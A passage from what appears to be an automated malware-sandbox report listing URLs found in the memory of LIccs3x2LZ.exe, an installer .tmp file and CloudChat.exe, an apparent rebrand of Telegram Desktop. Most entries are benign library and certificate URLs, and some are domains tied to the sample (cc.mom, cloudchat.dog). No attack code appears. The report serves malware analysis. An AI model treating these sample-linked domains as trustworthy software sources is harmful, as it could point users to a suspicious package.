00000000.00000003.2095952667.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000000.00000003.2096079771.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000000.00000003.2096259087.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000000.00000003.2096780181.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: LIccs3x2LZ.exe, 00000000.00000003.2102329555.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: LIccs3x2LZ.exe, 00000003.00000002.2146134292.00007FF8A8E0C000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://python.org/dev/peps/pep-0263/
Source: CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: http://schema.omg.org/spec/XMI/2.0
Source: CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: http://schema.omg.org/spec/XMI/2.1
Source: LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141119953.000002BEAFAD4000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141314817.000002BEAFAD9000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117567204.000002BEAFB05000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118294025.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc4880
Source: LIccs3x2LZ.exe, 00000003.00000002.2144911928.000002BEAFD00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc5297
Source: LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141643621.000002BEAFB21000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141440196.000002BEAFB1D000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117567204.000002BEAFB05000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118294025.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc5869
Source: LIccs3x2LZ.exe, 00000000.00000003.2102329555.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: LIccs3x2LZ.exe, 00000000.00000003.2102329555.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: LIccs3x2LZ.exe, 00000000.00000003.2102329555.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141643621.000002BEAFB21000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141440196.000002BEAFB1D000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117567204.000002BEAFB05000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118294025.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.cs.ucdavis.edu/~rogaway/ocb/license.htm
Source: CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: http://www.abisource.com/awml.dtd
Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0Digitized
Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: http://www.ascendercorp.com/http://www.ascendercorp.com/typedesigners.htmlLicensed
Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.cc.mom/cloudchat.dog/addstickers/invalid
Source: LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141119953.000002BEAFAD4000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141314817.000002BEAFAD9000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142212450.000002BEAFB24000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141643621.000002BEAFB21000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141440196.000002BEAFB1D000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141406242.000002BEAFAEB000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144592010.000002BEAFB24000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117567204.000002BEAFB05000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141681385.000002BEAFAF3000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118294025.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cs.ucdavis.edu/~rogaway/papers/keywrap.pdf
Source: CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: http://www.daa.com.au/~james/dia-shape-ns
Source: LIccs3x2LZ.exe, 00000000.00000003.2096428051.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000000.00000003.2103164457.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000000.00000003.2104084226.00000266D2F7F000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000000.00000003.2104322916.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000000.00000003.2104084226.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000000.00000003.2096641661.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000000.00000003.2097709991.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000000.00000003.2104935897.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000000.00000003.2095952667.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000000.00000003.2096079771.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000000.00000003.2096259087.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000000.00000003.2096780181.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: http://www.freedesktop.org/standards/shared-mime-info
Source: CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: http://www.gribuser.ru/xml/fictionbook/2.0
Source: CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: http://www.lysator.liu.se/~alla/dia/
Source: CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: http://www.metalinker.org/
Source: CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: http://www.opengis.net/gml/3.2
Source: CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: http://www.opengis.net/kml/2.2
Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002791000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: http://www.phreedom.org/md5)
Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002791000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: http://www.phreedom.org/md5)08:27
Source: LIccs3x2LZ.exe, 00000000.00000003.2097032481.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org/dev/peps/pep-0205/
Source: LIccs3x2LZ.exe, 00000003.00000002.2144659289.000002BEAFB40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org/download/releases/2.3/mro/.
Source: LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141643621.000002BEAFB21000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141440196.000002BEAFB1D000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117567204.000002BEAFB05000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118294025.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.rfc-editor.org/info/rfc7253
Source: LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142212450.000002BEAFB24000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141643621.000002BEAFB21000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141440196.000002BEAFB1D000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144592010.000002BEAFB24000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117567204.000002BEAFB05000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118294025.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.tarsnap.com/scrypt/scrypt-slides.pdf
Source: CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: http://xspf.org/ns/0/
Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cc.mom/
Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cloudchat.com
Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cloudchat.com/0
Source: 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cloudchat.comUpdate
Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: https://core.CC.org/api
Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: https://core.CloudChat.org/api
Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: https://core.telegram.org/api
Source: LIccs3x2LZ.exe, 00000003.00000002.2144107071.000002BEAF870000.00000004.00001000.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
Source: LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143960713.000002BEAF670000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
Source: LIccs3x2LZ.exe, 00000003.00000002.2144107071.000002BEAF870000.00000004.00001000.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
Source: LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143960713.000002BEAF670000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
Source: LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143960713.000002BEAF670000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
Source: LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143960713.000002BEAF670000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
Source: LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143914577.000002BEAF630000.00000004.00001000.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
Source: LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144073359.000002BEAF6F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
Source: LIccs3x2LZ.exe, 00000003.00000003.2143110824.000002BEAD9EA000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2109049003.000002BEAD9C7000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141161174.000002BEAD9D6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9EA000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143712398.000002BEAD9EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: https://github.com/CloudChatdesktop/tdesktop
Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: https://github.com/CloudChatdesktop/tdesktop/blob/master/LEGAL
Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: https://github.com/CloudChatdesktop/tdesktop/blob/master/LICENSE
Source: LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff
Source: LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143654203.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141222789.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141515873.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: LIccs3x2LZ.exe, LIccs3x2LZ.exe, 00000003.00000002.2148994086.00007FF8B8B11000.00000002.00000001.01000000.0000000C.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2148695163.00007FF8B7E63000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://github.com/mhammond/pywin32
Source: LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143960713.000002BEAF670000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: LIccs3x2LZ.exe, 00000003.00000003.2141515873.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143654203.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141222789.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141515873.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: https://github.com/telegramdesktop/tdesktop
Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: https://github.com/telegramdesktop/tdesktop/blob/master/LEGAL
Source: CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	String found in binary or memory: https://github.com/telegramdesktop/tdesktop/blob/master/LICENSE
